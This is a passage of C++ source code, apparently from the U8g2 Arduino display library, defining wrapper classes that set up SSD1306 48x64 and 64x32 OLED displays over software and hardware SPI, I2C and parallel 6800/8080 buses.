u8g2_Setup_ssd1306_48x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_48X64_WINSTAR_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_48X64_WINSTAR_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_48x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_48X64_WINSTAR_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_48X64_WINSTAR_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_48x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_48X64_WINSTAR_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_48X64_WINSTAR_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_48x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_48X64_WINSTAR_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_48X64_WINSTAR_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_48x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_48X64_WINSTAR_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_48X64_WINSTAR_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_48x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_48X64_WINSTAR_2_6800 : public U8G2 {\n  public: U8G2_SSD1306_48X64_WINSTAR_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_48x64_winstar_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_48X64_WINSTAR_2_8080 : public U8G2 {\n  public: U8G2_SSD1306_48X64_WINSTAR_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_48x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_48X64_WINSTAR_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_48X64_WINSTAR_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_48x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_48X64_WINSTAR_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_48X64_WINSTAR_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_48x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_48X64_WINSTAR_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_48X64_WINSTAR_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_48x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_48X64_WINSTAR_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_48X64_WINSTAR_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_48x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_48X64_WINSTAR_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_48X64_WINSTAR_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_48x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_48X64_WINSTAR_F_6800 : public U8G2 {\n  public: U8G2_SSD1306_48X64_WINSTAR_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_48x64_winstar_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_48X64_WINSTAR_F_8080 : public U8G2 {\n  public: U8G2_SSD1306_48X64_WINSTAR_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_48x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_48X64_WINSTAR_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_48X64_WINSTAR_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_48x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_48X64_WINSTAR_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_48X64_WINSTAR_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_48x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_48X64_WINSTAR_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_48X64_WINSTAR_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_48x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_48X64_WINSTAR_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_48X64_WINSTAR_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_48x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_48X64_WINSTAR_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_48X64_WINSTAR_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_48x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_48X64_WINSTAR_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_48X64_WINSTAR_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_48x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_48X64_WINSTAR_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_48X64_WINSTAR_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_48x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_48X64_WINSTAR_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_48X64_WINSTAR_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_48x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_48X64_WINSTAR_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_48X64_WINSTAR_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_48x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_64X32_NONAME_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X32_NONAME_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_noname_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_NONAME_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X32_NONAME_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_noname_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_NONAME_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X32_NONAME_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_noname_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_NONAME_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X32_NONAME_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_noname_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_NONAME_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X32_NONAME_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_noname_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_NONAME_1_6800 : public U8G2 {\n  public: U8G2_SSD1306_64X32_NONAME_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_noname_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_NONAME_1_8080 : public U8G2 {\n  public: U8G2_SSD1306_64X32_NONAME_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_noname_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_1F_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X32_1F_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_1f_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_1F_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X32_1F_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_1f_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_1F_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X32_1F_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_1f_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_1F_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X32_1F_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_1f_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_1F_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X32_1F_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_1f_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_1F_1_6800 : public U8G2 {\n  public: U8G2_SSD1306_64X32_1F_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_1f_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_1F_1_8080 : public U8G2 {\n  public: U8G2_SSD1306_64X32_1F_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_1f_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_NONAME_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X32_NONAME_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_noname_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_NONAME_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X32_NONAME_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_noname_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_NONAME_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X32_NONAME_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_noname_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_NONAME_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X32_NONAME_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_noname_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_NONAME_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X32_NONAME_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_noname_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_NONAME_2_6800 : public U8G2 {\n  public: U8G2_SSD1306_64X32_NONAME_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_noname_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_NONAME_2_8080 : public U8G2 {\n  public: U8G2_SSD1306_64X32_NONAME_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_noname_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_1F_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X32_1F_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_1f_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_1F_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X32_1F_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_1f_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_1F_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X32_1F_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_1f_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_1F_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X32_1F_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_1f_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_1F_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X32_1F_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_1f_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_1F_2_6800 : public U8G2 {\n  public: U8G2_SSD1306_64X32_1F_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_1f_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_1F_2_8080 : public U8G2 {\n  public: U8G2_SSD1306_64X32_1F_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_1f_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_NONAME_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X32_NONAME_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_noname_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass 